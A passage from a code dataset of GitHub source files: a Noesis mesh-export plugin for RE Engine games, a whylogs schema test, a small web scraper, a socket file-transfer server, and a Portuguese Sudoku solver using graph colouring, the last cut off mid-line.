0.5000000001))\n\t\t\tbs.writeByte(0)\n\t\t\tbs.writeByte(int(vcmp[2][0] * 127 + 0.5000000001)) #bitangent\n\t\t\tbs.writeByte(int(vcmp[2][1] * 127 + 0.5000000001))\n\t\t\tbs.writeByte(int(vcmp[2][2] * 127 + 0.5000000001))\n\t\t\tTNW = dot(cross(vcmp[0], vcmp[1]), vcmp[2])\n\t\t\tif (TNW < 0.0): #default way\n\t\t\t\tbs.writeByte(w1)\n\t\t\telse:\n\t\t\t\tbs.writeByte(w2)\n\t\t\t\t\n\tUV0start = bs.tell()\n\tfor mesh in submeshes:\n\t\tfor vcmp in mesh.uvs:\n\t\t\tbs.writeHalfFloat(vcmp[0])\n\t\t\tbs.writeHalfFloat(vcmp[1])\n\t\t\t\t\n\tUV1start = bs.tell()\n\tif bDoUV2:\n\t\tfor mesh in submeshes:\n\t\t\tif len(mesh.lmUVs) != len(mesh.positions):\n\t\t\t\tmesh.lmUVs = mesh.uvs\n\t\t\tfor vcmp in mesh.lmUVs:\n\t\t\t\tbs.writeHalfFloat(vcmp[0])\n\t\t\t\tbs.writeHalfFloat(vcmp[1])\n\n\tdef writeBoneID(bID, i):\n\t\tif isSF6 == True:\n\t\t\tif i==3:\n\t\t\t\tbs.writeBits(0, 2)\n\t\t\tbs.writeBits(bID, 10)\n\t\telse:\n\t\t\tbs.writeUByte(bID)\n\t\n\tboneIdMax = 6 if isSF6 == True else 8\n\tbnWeightStart = bs.tell()\n\t\n\tif bDoSkin:\n\t\tfor m, mesh in enumerate(submeshes):\n\t\t\tpos = bs.tell()\n\t\t\tfor vcmp in mesh.weights: #write 0's\n\t\t\t\tfor i in range(4):\n\t\t\t\t\tbs.writeFloat(0)\n\t\t\tbs.seek(pos)\n\t\t\t\n\t\t\tfor i, vcmp in enumerate(mesh.weights): #write bone indices & weights over 0's\n\t\t\t\ttotal = 0\n\t\t\t\ttupleList = []\n\t\t\t\tweightList = []\n\t\t\t\tvertPos = mesh.positions[i]\n\t\t\t\tfor idx in range(len(vcmp.weights)):\n\t\t\t\t\tweightList.append(round(vcmp.weights[idx] * 255.0))\n\t\t\t\t\ttotal += weightList[idx]\n\t\t\t\tif bNormalizeWeights and total != 255:\n\t\t\t\t\tweightList[0] += 255 - total\n\t\t\t\t\tprint (\"Normalizing vertex weight\", mesh.name, \"vertex\", i,\",\", total)\n\t\t\t\t\t\n\t\t\t\tfor idx in range(len(vcmp.weights)):\n\t\t\t\t\tif idx > boneIdMax:\n\t\t\t\t\t\tif not isSF6: \n\t\t\t\t\t\t\tprint (\"Warning: \", mesh.name, \"vertex\", i,\"exceeds the vertex weight limit of \", boneIdMax, \"!\", )\n\t\t\t\t\t\tbreak\n\t\t\t\t\telif vcmp.weights[idx] != 0:\t\t\t\t\n\t\t\t\t\t\tbyteWeight = weightList[idx]\n\t\t\t\t\t\ttupleList.append((byteWeight, vcmp.indices[idx]))\n\t\t\t\t\tif bCalculateBoundingBoxes:\n\t\t\t\t\t\tthisBoneBB = boneWeightBBs[ vcmp.indices[idx] ] if vcmp.indices[idx] in boneWeightBBs else [999999.0, 999999.0, 999999.0, -999999.0, -999999.0, -999999.0]\n\t\t\t\t\t\tif vertPos[0] < thisBoneBB[0]: thisBoneBB[0] = vertPos[0]\n\t\t\t\t\t\tif vertPos[1] < thisBoneBB[1]: thisBoneBB[1] = vertPos[1]\n\t\t\t\t\t\tif vertPos[2] < thisBoneBB[2]: thisBoneBB[2] = vertPos[2]\n\t\t\t\t\t\tif vertPos[0] > thisBoneBB[3]: thisBoneBB[3] = vertPos[0]\n\t\t\t\t\t\tif vertPos[1] > thisBoneBB[4]: thisBoneBB[4] = vertPos[1]\n\t\t\t\t\t\tif vertPos[2] > thisBoneBB[5]: thisBoneBB[5] = vertPos[2]\n\t\t\t\t\t\tboneWeightBBs[ vcmp.indices[idx] ] = thisBoneBB\n\t\t\t\t\t\t\n\t\t\t\ttupleList = sorted(tupleList, reverse=True) #sort in ascending order\n\t\t\t\tpos = bs.tell()\n\t\t\t\tlastBone = 0\n\t\t\t\tfor idx in range(len(tupleList)):\n\t\t\t\t\tbFind = False\n\t\t\t\t\tfor b in range(len(boneRemapTable)):\n\t\t\t\t\t\tif names[boneInds[boneRemapTable[b]]] == bonesList[tupleList[idx][1]]:\n\t\t\t\t\t\t\twriteBoneID(b, idx)\n\t\t\t\t\t\t\tlastBone = b\n\t\t\t\t\t\t\tbFind = True\n\t\t\t\t\t\t\tbreak\t\n\t\t\t\t\tif bFind == False: #assign unmatched bones\n\t\t\t\t\t\tif not bRigToCoreBones:\n\t\t\t\t\t\t\twriteBoneID(lastBone, idx)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tfor b in range(lastBone, 0, -1):\n\t\t\t\t\t\t\t\tif names[boneInds[boneRemapTable[b]]].find(\"spine\") != -1 or names[boneInds[boneRemapTable[b]]].find(\"hips\") != -1:\n\t\t\t\t\t\t\t\t\twriteBoneID(b, idx)\n\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t\t\t\n\t\t\t\tfor x in range(len(tupleList), 8):\n\t\t\t\t\twriteBoneID(lastBone, x)\n\t\t\t\t\n\t\t\t\tbs.seek(pos+8)\n\t\t\t\tfor wval in range(len(tupleList)):\n\t\t\t\t\tbs.writeUByte(tupleList[wval][0])\n\t\t\t\tbs.seek(pos+16)\n\t\t\t\t\t\t\t\n\tcolorsStart = bs.tell()\n\tif bDoColors:\n\t\tfor m, mesh in enumerate(submeshes):\n\t\t\tif bColorsExist:\n\t\t\t\tfor p, pos in enumerate(mesh.positions):\n\t\t\t\t\tRGBA = mesh.colors[p] if p < len(mesh.colors) else NoeVec4((1.0, 1.0, 1.0, 1.0))\n\t\t\t\t\tfor c in range(4): \n\t\t\t\t\t\tcolor = RGBA[c] if c < len(RGBA) else 1.0\n\t\t\t\t\t\tbs.writeUByte(int(color * 255 + 0.5))\n\t\t\telse:\n\t\t\t\tfor p, pos in enumerate(mesh.positions):\n\t\t\t\t\tbs.writeInt(-1)\n\t\n\tvertexDataEnd = bs.tell()\n\t\n\tfor mesh in submeshes:\n\t\tfaceStart = bs.tell()\n\t\tsubmeshFaceStride.append(faceStart - vertexDataEnd)\n\t\tsubmeshFaceCount.append(len(mesh.indices))\n\t\tsubmeshFaceSize.append(len(mesh.indices))\n\t\tfor idx in mesh.indices:\n\t\t\tbs.writeUShort(idx)\n\t\tif ((bs.tell() - faceStart) / 6) % 2 != 0: #padding\n\t\t\tbs.writeUShort(0)\n\tfaceDataEnd = bs.tell()\n\t\n\t#update mainmesh and submesh headers\n\tloopSubmeshCount = 0\n\tfor ldc in range(numLODs): \n\t\tfor mmc in range(mainmeshCount):\n\t\t\tmainmeshVertexCount = 0\n\t\t\tmainmeshFaceCount = 0\n\t\t\tbs.seek(meshOffsets[mmc] + 16)\n\t\t\t\n\t\t\tfor smc in range(meshVertexInfo[mmc][1]):\n\t\t\t\tbs.seek(4, 1)\n\t\t\t\tbs.writeUInt(submeshFaceCount[loopSubmeshCount])\n\t\t\t\tbs.writeUInt(int(submeshFaceStride[loopSubmeshCount] / 2))\n\t\t\t\tbs.writeUInt(submeshVertexStride[loopSubmeshCount])\n\t\t\t\tif sGameName == \"RERT\" or sGameName == \"ReVerse\" or sGameName == \"MHRise\" or sGameName == \"RE8\" or sGameName == \"SF6\" or sGameName == \"RE4\":\n\t\t\t\t\tbs.seek(8, 1)\n\t\t\t\tmainmeshVertexCount += submeshVertexCount[loopSubmeshCount]\n\t\t\t\tmainmeshFaceCount += submeshFaceSize[loopSubmeshCount]\n\t\t\t\tloopSubmeshCount += 1\n\t\t\tbs.seek(meshOffsets[mmc]+8)\n\t\t\tbs.writeUInt(mainmeshVertexCount)\n\t\t\tbs.writeUInt(mainmeshFaceCount)\n\t\t\n\t#Fix vertex buffer header:\n\tskipAmt = 16 if not isSF6 else 24\n\tfcBuffSize = faceDataEnd - vertexDataEnd\n\tif bReWrite or bWriteBones:\n\t\tbs.seek(newVertBuffHdrOffs+skipAmt) \n\telse: \n\t\tbs.seek(vBuffHdrOffs+skipAmt)\n\t\n\tif isSF6:\n\t\tfacesDiff = (80 + 8*vertElemCountB if bWriteBones else 0) if not bReWrite else (80 + 8*vertElemCount)\n\t\tbs.writeUInt(faceDataEnd - vertexPosStart) #total buffer size\n\t\t#print(\"faces offset\", bs.tell(), vertexDataEnd, newVertBuffHdrOffs, facesDiff, vertexDataEnd - newVertBuffHdrOffs - facesDiff)\n\t\tbs.writeUInt(vertexDataEnd - newVertBuffHdrOffs - facesDiff) #face buffer offset\n\t\tbs.seek(4,1) #element counts\n\t\tbs.writeUInt(faceDataEnd - vertexPosStart) #total buffer size2\n\t\tbs.writeUInt(faceDataEnd - vertexPosStart) #total buffer size3\n\t\tbs.writeInt(-(vertexPosStart))\n\t\tbs.seek(32, 1)\n\telse:\n\t\tbs.writeUInt64(vertexDataEnd) #face buffer offset\n\t\tbs.seek(RERTBytes, 1)\n\t\tbs.writeUInt(vertexDataEnd - vertexPosStart) #vertex buffer size\n\t\tbs.writeUInt(fcBuffSize) #face buffer size\n\t\tbs.seek(4,1) #element counts\n\t\tbs.writeUInt64(fcBuffSize)\n\t\tbs.writeInt(-(vertexPosStart))\n\t\n\tif bReWrite:\n\t\tbs.seek(newVertBuffHdrOffs + 48 + SF6SkipBytes + (RERTBytes * 2))\n\telse:\n\t\tbs.seek(RERTBytes, 1)\n\t\n\tvertElemHdrStart = bs.tell()\n\t\n\tfor i in range (vertElemCount):\n\t\telementType = bs.readUShort()\n\t\telementSize = bs.readUShort()\n\t\tif elementType == 0:\n\t\t\tbs.writeUInt(vertexPosStart - vertexPosStart)\n\t\telif elementType == 1:\n\t\t\tbs.writeUInt(normalTangentStart - vertexPosStart)\n\t\telif elementType == 2:\n\t\t\tbs.writeUInt(UV0start - vertexPosStart)\n\t\telif elementType == 3:\n\t\t\tbs.writeUInt(UV1start - vertexPosStart)\n\t\telif elementType == 4:\n\t\t\tbs.writeUInt(bnWeightStart - vertexPosStart)\n\t\telif elementType == 5:\n\t\t\tbs.writeUInt(colorsStart - vertexPosStart) \n\t\n\tif isSF6: \n\t\tbs.seek(136)\n\t\tbs.writeUInt64(vertElemHdrStart-16) #fix ukn3\n\t\tbs.seek(152)\n\t\tbs.writeUInt64(vertexPosStart) #fix Vertices offset\n\t\n\t#fix main bounding box:\n\tbs.seek(LOD1Offs+8+BBskipBytes)\n\t\n\t#Calculate Bounding Sphere:\n\tBBcenter = NoeVec3((min[0]+(max[0]-min[0])/2, min[1]+(max[1]-min[1])/2, min[2]+(max[2]-min[2])/2))\n\tsphereRadius = 0\n\tfor mesh in mdl.meshes:\n\t\tfor position in mesh.positions:\n\t\t\tdistToCenter = (position - BBcenter).length()\n\t\t\tif distToCenter > sphereRadius: \n\t\t\t\tsphereRadius = distToCenter\n\t\t\t\t\n\tbs.writeBytes((BBcenter * newScale).toBytes()) #Bounding Sphere\n\tbs.writeFloat(sphereRadius * newScale) #Bounding Sphere radius\n\tbs.writeBytes((min * newScale).toBytes()) #BBox min\n\tbs.writeBytes((max * newScale).toBytes()) #BBox max\n\tif isSF6:\n\t\tbs.seek(-20,1); bs.writeUInt(1)\n\t\tbs.seek(12,1); bs.writeUInt(1)\n\t\n\t#fix skeleton bounding boxes:\n\tif bDoSkin and bCalculateBoundingBoxes:\n\t\tfor idx, box in boneWeightBBs.items():\n\t\t\ttry:\n\t\t\t\tif bReWrite or bWriteBones:\n\t\t\t\t\tremappedBoneIdx = newSkinBoneMap.index(idx)\n\t\t\t\telse:\n\t\t\t\t\tremappedBoneIdx = boneRemapTable.index(idx)\n\t\t\t\tpos = mdl.bones[newSkinBoneMap[remappedBoneIdx]].getMatrix()[3]\n\t\t\texcept:\n\t\t\t\tcontinue\n\t\t\tbs.seek(newBBOffs+16+remappedBoneIdx*32)\n\t\t\tboneWeightBBs[idx] = [(box[0]-pos[0])*newScale, (box[1]-pos[1])*newScale, (box[2]-pos[2])*newScale, 1.0, (box[3]-pos[0])*newScale, (box[4]-pos[1])*newScale, (box[5]-pos[2])*newScale, 1.0]\n\t\t\tbox = boneWeightBBs[idx]\n\t\t\tfor coord in box:\n\t\t\t\tbs.writeFloat(coord)\n\t\n\t#set to only one LODGroup\n\tbs.seek(LOD1Offs)\n\tbs.writeByte(1)\n\t\n\t#disable shadow LODs\n\tbs.seek(LOD1OffsetLocation+8)\n\tbs.writeUInt(0)\n\t\n\t#disable normals recalculation data\n\tbs.seek(normalsRecalcOffsLocation)\n\tbs.writeUInt(0)\n\t\n\t#disable group pivots data\n\tbs.seek(88)\n\tbs.writeUInt(0)\n\t\n\t#set numModels flag\n\tdoSetFlag = bSetNumModels or bDoVFX or (openOptionsDialog and openOptionsDialog.flag != -1)\n\tif doSetFlag or bReWrite:\n\t\tbs.seek(16)\n\t\tif openOptionsDialog and openOptionsDialog.flag != -1:\n\t\t\tbitFlag = openOptionsDialog.flag\n\t\telse:\n\t\t\tbitFlag = 0x00\n\t\t\tif bDoVFX or rapi.getOutputName().find(\"2109148288\") != -1 or isSF6: \n\t\t\t\tbitFlag = bitFlag + 0x80\n\t\t\tif bDoSkin: \n\t\t\t\tbitFlag = bitFlag + 0x03\n\t\tprint(\"Flag: \", bitFlag)\n\t\tbs.writeUByte(bitFlag)\n\t\n\t#remove blendshapes offsets\n\tbs.seek(bsHdrOffLocation)\n\tbs.writeUInt(0)\n\tbs.seek(bsIndicesOffLocation)\n\tbs.writeUInt(0)\n\t\n\t#fileSize\n\tbs.seek(8)\n\tbs.writeUInt(faceDataEnd) \n\t\n\treturn 1","repo_name":"alphazolam/fmt_RE_MESH-Noesis-Plugin","sub_path":"fmt_RE_MESH.py","file_name":"fmt_RE_MESH.py","file_ext":"py","file_size_in_byte":207435,"program_lang":"python","lang":"en","doc_type":"code","stars":59,"dataset":"github-code","pt":"69"} +{"seq_id":"21378281825","text":"import numpy as np\nimport pandas as pd\n\nfrom whylogs.core import DatasetSchema\nfrom whylogs.core.resolvers import StandardResolver\n\n\nclass MyResolver(StandardResolver):\n pass\n\n\ndef test_schema_default_value_overrides() -> None:\n schema = DatasetSchema(\n types={\"col1\": str, \"col2\": np.int32, \"col3\": pd.CategoricalDtype(categories=(\"foo\", \"bar\"), ordered=True)},\n resolvers=MyResolver(),\n cache_size=12,\n )\n assert isinstance(schema.resolvers, MyResolver)\n assert schema.types[\"col2\"] == np.int32\n assert schema.cache_size == 12\n\n\ndef test_schema_subclass_copy() -> None:\n schema = DatasetSchema(\n types={\"col1\": str, \"col2\": np.int32, \"col3\": pd.CategoricalDtype(categories=(\"foo\", \"bar\"), ordered=True)},\n resolvers=MyResolver(),\n cache_size=12,\n )\n copy = schema.copy()\n assert isinstance(copy.resolvers, MyResolver)\n assert copy.types[\"col2\"] == np.int32\n assert copy.cache_size == 12\n assert copy._columns.keys() == schema._columns.keys()\n for col_name, column in schema._columns.items():\n assert copy._columns[col_name].dtype == column.dtype\n assert copy._columns[col_name].resolver.__class__ == column.resolver.__class__\n assert copy._columns[col_name].type_mapper.__class__ == column.type_mapper.__class__\n assert copy._columns[col_name].cfg == column.cfg\n","repo_name":"whylabs/whylogs","sub_path":"python/tests/core/test_schema.py","file_name":"test_schema.py","file_ext":"py","file_size_in_byte":1376,"program_lang":"python","lang":"en","doc_type":"code","stars":2401,"dataset":"github-code","pt":"69"} +{"seq_id":"11075985332","text":"from bs4 import BeautifulSoup\nfrom urllib.request import urlopen\nfrom os import system\nfrom typing import Dict\nfrom pickle import dump\n\nif __name__ == \"__main__\":\n html = urlopen(\"http://www.vstup.info/\")\n bs = BeautifulSoup(html)\n tableId = \"2018abet\"\n blocklist = [i.find(\"a\") for i in bs.find(\"table\", {\"id\" : tableId}).find(\"tbody\").findAll(\"tr\")]\n dict = {}\n print(len(blocklist))\n for block in blocklist:\n dict[str(block.text)] = \"http://www.vstup.info\" + str(block['href'])\n print(dict)\n f = open(\"/home/palpatine/result\",\"wb\")\n dump(dict, f)\n f.close()\n","repo_name":"P4lp471ne/stone","sub_path":"app/parsers/cityScrapper.py","file_name":"cityScrapper.py","file_ext":"py","file_size_in_byte":601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"4632456221","text":"import socket\nfrom tqdm import tqdm\n\n\nclass Server:\n def __init__(self, port):\n ip = socket.gethostbyname(socket.gethostname())\n self.address = (ip, port)\n self.format = 'utf-8'\n self.size = 1024\n\n def server(self):\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sock.bind(self.address)\n sock.listen()\n\n print(\"[+] Listening...\")\n\n # Accepting the connection from the client.\n conn, addr = sock.accept()\n print(f\"[+] Client connected from {addr[0]}:{addr[1]}\")\n\n # Receiving the filename and filesize from the client.\n data = conn.recv(self.size).decode(self.format)\n item = data.split(\"_\")\n filename = item[0]\n filesize = int(item[1])\n\n print(\"[+] Filename and filesize received from the client.\")\n conn.send(\"Filename and filesize received\".encode(self.format))\n\n # Data transfer\n bar = tqdm(range(filesize), f\"Receiving {filename}\", unit=\"B\", unit_scale=True, unit_divisor=self.size)\n\n with open(f\"recv_{filename}\", \"w\") as f:\n while True:\n data = conn.recv(self.size).decode(self.format)\n\n if not data:\n break\n\n f.write(data)\n conn.send(\"Data received.\".encode(self.format))\n\n bar.update(len(data))\n\n # Closing connection.\n conn.close()\n sock.close()\n\n\nif __name__ == '__main__':\n pass\n\n","repo_name":"DavidTheArduinoFighter/FileTransfer","sub_path":"src/Server.py","file_name":"Server.py","file_ext":"py","file_size_in_byte":1485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"27328728607","text":"# Ana Caroline da Rocha Braz - 212008482\r\n# Códigos e pseudo-códigos que serviram de base para o programa:\r\n# https://www.tutorialspoint.com/M-Coloring-Problem\r\n# https://www.geeksforgeeks.org/m-coloring-problem-backtracking-5/\r\n# Além dos sites vários artigos foram pesquisados para tirar dúvidas sobre implementação\r\n# http://ceur-ws.org/Vol-1754/EPoGames_2016_AC_paper_2.pdf (um dos artigos consultados)\r\n# e os slides dados em sala de aula também foram consultados \r\n \r\n\r\nimport math\r\nimport random\r\n\r\nclass SudokuBase:\r\n # Métodos básicos de um Sudoku:\r\n # Gerar um grafo vazio, preenchê-lo e imprimi-lo\r\n \r\n def __init__(self, base_size):\r\n self.base_size = base_size\r\n self.base_color = 0\r\n self.sudoku_graph = dict()\r\n \r\n #Sudoku em forma de matriz 9x9\r\n def get_pos(self, e, base): \r\n quot = e//base\r\n rest = e%base\r\n\r\n if rest != 0:\r\n x = quot + 1\r\n y = rest\r\n else:\r\n x = quot\r\n y = base\r\n\r\n return x, y\r\n\r\n def get_blocks_cord(self, blocks_size):\r\n blocks = []\r\n\r\n # Um bloco é formado a cada n linhas e n colunas na matriz, onde n é a base do Sudoku\r\n for i in range(1, blocks_size+1):\r\n sup_lim_i = (blocks_size*i)+1\r\n inf_lim_i = sup_lim_i - blocks_size\r\n\r\n for j in range(1, blocks_size+1):\r\n sup_lim_j = (blocks_size*j)+1\r\n inf_lim_j = sup_lim_j - blocks_size\r\n\r\n blocks.append([list(range(inf_lim_i, sup_lim_i)), list(range(inf_lim_j, sup_lim_j))])\r\n\r\n return blocks\r\n\r\n def get_block(self, p, blocks, base):\r\n # Identifica em qual bloco uma célula está na matriz do Sudoku pelo seu índice\r\n p_x, p_y = self.get_pos(p, base)\r\n\r\n block_c = []\r\n\r\n for b in blocks:\r\n if (p_x in b[0]) and (p_y in b[1]):\r\n return b\r\n\r\n def same_blocks(self, a, b, blocks, base):\r\n return self.get_block(a, blocks, base) == self.get_block(b, blocks, base)\r\n\r\n def same_col(self, a, b, base):\r\n a_x, a_y = self.get_pos(a, base)\r\n b_x, b_y = self.get_pos(b, base)\r\n\r\n return a_y == b_y\r\n\r\n def same_row(self, a, b, base):\r\n a_x, a_y = self.get_pos(a, base)\r\n b_x, b_y = self.get_pos(b, base)\r\n\r\n return a_x == b_x\r\n \r\n def get_col_graph(self, graph):\r\n if \"neighbors\" in graph[list(graph.keys())[0]]:\r\n return {n: {\"neighbors\": graph[n][\"neighbors\"], \"color\": self.base_color} for n in graph.keys()}\r\n\r\n return {n: {\"neighbors\": graph[n], \"color\": self.base_color} for n in graph.keys()}\r\n \r\n def get_sudoku_redux(self, sudoku_graph):\r\n # Simplifica um grafo Sudoku, deixando apenas rótulo e cor preenchida\r\n return {v: sudoku_graph[v][\"color\"] for v in sudoku_graph.keys()}\r\n \r\n def update_col_graph(self):\r\n # Adiciona a chave \"given\" para distinguir células dadas de um Sudoku e células que podem ser preenchidas pelo usuário\r\n self.sudoku_graph = {n: {\"neighbors\": self.sudoku_graph[n][\"neighbors\"], \"color\": self.sudoku_graph[n][\"color\"], \"given\": self.sudoku_graph[n][\"color\"] != self.base_color} for n in self.sudoku_graph.keys()}\r\n \r\n def gen_empty_sudoku(self):\r\n # Gera um grafo Sudoku vazio dentro do próprio objeto da classe\r\n blocks_size = int(math.sqrt(self.base_size))\r\n nodes = list(range(1, (self.base_size**2)+1))\r\n graph = {v: set() for v in nodes}\r\n bls = self.get_blocks_cord(blocks_size)\r\n\r\n for a in graph.keys():\r\n for b in graph.keys():\r\n if (a != b) and (self.same_blocks(a, b, bls, self.base_size) or self.same_col(a, b, self.base_size) or self.same_row(a, b, self.base_size)):\r\n graph[a].add(b)\r\n\r\n empty_graph = self.get_col_graph(graph)\r\n \r\n self.sudoku_graph = empty_graph\r\n self.update_col_graph()\r\n \r\n def get_empty_sudoku_graph(self):\r\n # Gera um grafo Sudoku vazio que é retornado como objeto pela função\r\n blocks_size = int(math.sqrt(self.base_size))\r\n nodes = list(range(1, (self.base_size**2)+1))\r\n graph = {v: set() for v in nodes}\r\n bls = self.get_blocks_cord(blocks_size)\r\n\r\n for a in graph.keys():\r\n for b in graph.keys():\r\n if (a != b) and (self.same_blocks(a, b, bls, self.base_size) or self.same_col(a, b, self.base_size) or self.same_row(a, b, self.base_size)):\r\n graph[a].add(b)\r\n\r\n return graph\r\n \r\n def text_sudoku(self, sudoku_redux):\r\n text_sudoku = \"-\"*25 + \"\\n\"\r\n\r\n for i in sudoku_redux.keys():\r\n lin_i, col_i = self.get_pos(i, 9)\r\n\r\n if col_i == 1:\r\n text_sudoku += \"| \"\r\n\r\n text_sudoku += str(sudoku_redux[i])\r\n\r\n # Se for o último elemento da linha, não precisa de espaço, mas de quebramento de linha\r\n if col_i%9 != 0:\r\n text_sudoku += \" \"\r\n else:\r\n text_sudoku += \" |\\n\"\r\n\r\n # Imprimir a divisão de blocos nas colunas\r\n if (col_i%3 == 0) and (col_i != 9):\r\n text_sudoku += \"| \"\r\n\r\n # Imprimir a divisão de blocos nas linhas\r\n if (lin_i%3 == 0) and (col_i%9==0) and (lin_i%9!=0):\r\n text_sudoku += \"-\"*25\r\n text_sudoku += \"\\n\"\r\n\r\n text_sudoku += \"-\"*25\r\n\r\n return text_sudoku\r\n \r\n def print_sudoku(self):\r\n redux_sudoku_n = self.get_sudoku_redux(self.sudoku_graph)\r\n text_print = self.text_sudoku(redux_sudoku_n)\r\n \r\n print(text_print)\r\n\r\n def fill_cell(self, index, val):\r\n # Se a célula foi dada, \"given\", usuário não pode alterá-la\r\n if self.sudoku_graph[index][\"given\"]:\r\n return False\r\n\r\n self.sudoku_graph[index][\"color\"] = val\r\n\r\n return True\r\n\r\nclass SudokuAlgorithms(SudokuBase): \r\n def __init__(self, base_size):\r\n super().__init__(base_size)\r\n self.solutions = []\r\n\r\n def is_valid_color(self, col_graph, v, col):\r\n for n in col_graph[v][\"neighbors\"]:\r\n if col == col_graph[n][\"color\"]:\r\n return False\r\n\r\n return True\r\n\r\n def is_safe_v(self, col_graph, v, c):\r\n for n in col_graph[v][\"neighbors\"]:\r\n if c == col_graph[n][\"color\"]:\r\n return False\r\n\r\n return True\r\n \r\n def m_coloring_effic(self, col_graph, n, colors):\r\n # A diferença aqui é que na primeira solução encontrada a recursão é interrompida\r\n # Busca eficiente de uma solução, sem precisar fazer backtracking para todas cores possíveis\r\n if n == len(col_graph.keys())+1:\r\n self.sudoku_graph = col_graph\r\n return True\r\n\r\n random.shuffle(colors)\r\n for c in colors:\r\n if self.is_valid_color(col_graph, n, c):\r\n col_graph[n][\"color\"] = c\r\n\r\n if self.m_coloring_effic(col_graph, n+1, colors):\r\n return True\r\n\r\n col_graph[n][\"color\"] = 0\r\n\r\n return False\r\n \r\n def erase_random_cell(self):\r\n cell_erase = random.randint(1, len(self.sudoku_graph.keys()))\r\n\r\n while self.sudoku_graph[cell_erase][\"color\"] == 0:\r\n cell_erase = random.randint(1, len(self.sudoku_graph.keys()))\r\n\r\n # Quando uma célula é apagada no grafo, a configuração dele muda, precisando ser atualizada\r\n self.sudoku_graph[cell_erase][\"color\"] = 0\r\n self.update_col_graph()\r\n self.solutions = []\r\n \r\n def graph_coloring_v(self, col_graph, n, colors, print_steps=False):\r\n if n == len(col_graph.keys())+1:\r\n self.solutions.append({v: col_graph[v][\"color\"] for v in col_graph.keys()})\r\n \r\n if (len(self.solutions) == 1) and print_steps:\r\n print(\"Solução encontrada.\")\r\n\r\n return\r\n\r\n if not col_graph[n][\"given\"]:\r\n if (len(self.solutions) == 0) and print_steps:\r\n print(\"Verificando cores possíveis para \" + str(n))\r\n \r\n for c in colors:\r\n if self.is_safe_v(col_graph, n, c):\r\n \r\n if (len(self.solutions) == 0) and print_steps:\r\n print(\"Cor \" + str(c) + \" é possível para \" + str(n))\r\n \r\n col_graph[n][\"color\"] = c\r\n\r\n if (len(self.solutions) == 0) and print_steps:\r\n print(\"Próximo vértice:\")\r\n \r\n self.graph_coloring_v(col_graph, n+1, colors, print_steps)\r\n\r\n # Na volta da recursão, apaga a cor para testar uma cor diferente e achar todas as combinações possíveis\r\n col_graph[n][\"color\"] = 0\r\n else:\r\n if (len(self.solutions) == 0) and print_steps:\r\n print(\"Cor \" + str(c) + \" não é possível para \" + str(n) + \". Próxima cor.\")\r\n else:\r\n self.graph_coloring_v(col_graph, n+1, colors, print_steps)\r\n\r\nclass SudokuSolver(SudokuAlgorithms):\r\n # Métodos que usam os algoritmos do Sudoku para gerar Sudoku, gerar solução e resolver um Sudoku preenchido\r\n \r\n def __init__(self, base_size):\r\n super().__init__(base_size)\r\n \r\n def gen_random_solution(self):\r\n empty_graph = self.get_empty_sudoku_graph()\r\n colored_empty_graph = self.get_col_graph(self.sudoku_graph)\r\n \r\n available_colors = list(range(1, self.base_size+1))\r\n self.m_coloring_effic(colored_empty_graph, 1, available_colors)\r\n self.update_col_graph()\r\n \r\n def gen_random_sudoku(self):\r\n # Gera um Sudoku completo aleatoriamente\r\n \r\n available_colors = list(range(1, self.base_size+1))\r\n self.gen_random_solution()\r\n \r\n self.erase_random_cell()\r\n self.graph_coloring_v(self.sudoku_graph, 1, available_colors)\r\n \r\n while len(self.solutions) == 1:\r\n last_graph = {v: self.sudoku_graph[v][\"color\"] for v in self.sudoku_graph.keys()}\r\n self.erase_random_cell()\r\n self.graph_coloring_v(self.sudoku_graph, 1, available_colors)\r\n\r\n for i in last_graph.keys():\r\n self.sudoku_graph[i][\"color\"] = last_graph[i]\r\n \r\n self.update_col_graph()\r\n self.solutions = []\r\n \r\n def solve_sudoku(self, print_steps=False):\r\n available_colors = list(range(1, self.base_size+1))\r\n self.graph_coloring_v(self.sudoku_graph, 1, available_colors, print_steps)\r\n \r\n n_solution = self.solutions[0]\r\n for i in n_solution.keys():\r\n self.sudoku_graph[i][\"color\"] = n_solution[i]\r\n \r\n self.solutions = []\r\n \r\n self.update_col_graph()\r\n\r\nclass SudokuUser(SudokuSolver):\r\n # Métodos exclusivos de interação com usuário no programa\r\n \r\n def __init__(self, base_size):\r\n super().__init__(base_size)\r\n \r\n def fill_given_sudoku(self, given_sudoku):\r\n self.gen_empty_sudoku()\r\n\r\n for i in given_sudoku.keys():\r\n self.sudoku_graph[i][\"color\"] = given_sudoku[i]\r\n\r\n self.update_col_graph()\r\n \r\n def solution_checker(self):\r\n for v in self.sudoku_graph.keys():\r\n for n in self.sudoku_graph[v][\"neighbors\"]:\r\n if (self.sudoku_graph[v][\"color\"] == 0) or (self.sudoku_graph[v][\"color\"] == self.sudoku_graph[n][\"color\"]):\r\n return False\r\n\r\nclass UserInterface:\r\n # Interface via terminal com usuário\r\n \r\n def __init__(self):\r\n self.user_on = True\r\n \r\n def main(self):\r\n while self.user_on:\r\n print(\"\\n----------------SUDOKU EM CORES---------------\\n\")\r\n print(\"Neste trabalho será feito a apresentação de um sudoku gerado automaticamente\")\r\n print(\"e solucionado pelo algoritmo de colocaração de grafos mostrando seu passo-a-passo\")\r\n print(\"Escolha uma opção:\")\r\n print()\r\n print(\"0 - Sair do programa\")\r\n print(\"1 - Começar a solução passo-a-passo\")\r\n print()\r\n print(\"Sua escolha: \", end=\"\")\r\n\r\n user_in = input()\r\n user_in = int(user_in)\r\n\r\n if user_in == 0:\r\n self.user_on = False\r\n \r\n elif user_in == 1:\r\n self.main_sudoku_solver_detailed()\r\n\r\n #Solução Passo-a-Passo\r\n def main_sudoku_solver_detailed(self): \r\n print(\"-------------------------------------------------------\")\r\n print(\"Aqui será gerado um Sudoku aleatório e em sequência será mostrada o passo-a-passo da solução.\") \r\n print(\"Escolha uma opção:\")\r\n print(\"\")\r\n print(\"0 - Retornar\")\r\n print(\"1 - Iniciar operação\")\r\n print(\"\") \r\n print(\"Sua escolha: \", end=\"\")\r\n\r\n user_in = input()\r\n user_in = int(user_in)\r\n\r\n if user_in == 0:\r\n return\r\n else:\r\n print(\"-------------------------------------------------------\")\r\n print(\"Sudoku gerado:\") \r\n\r\n while 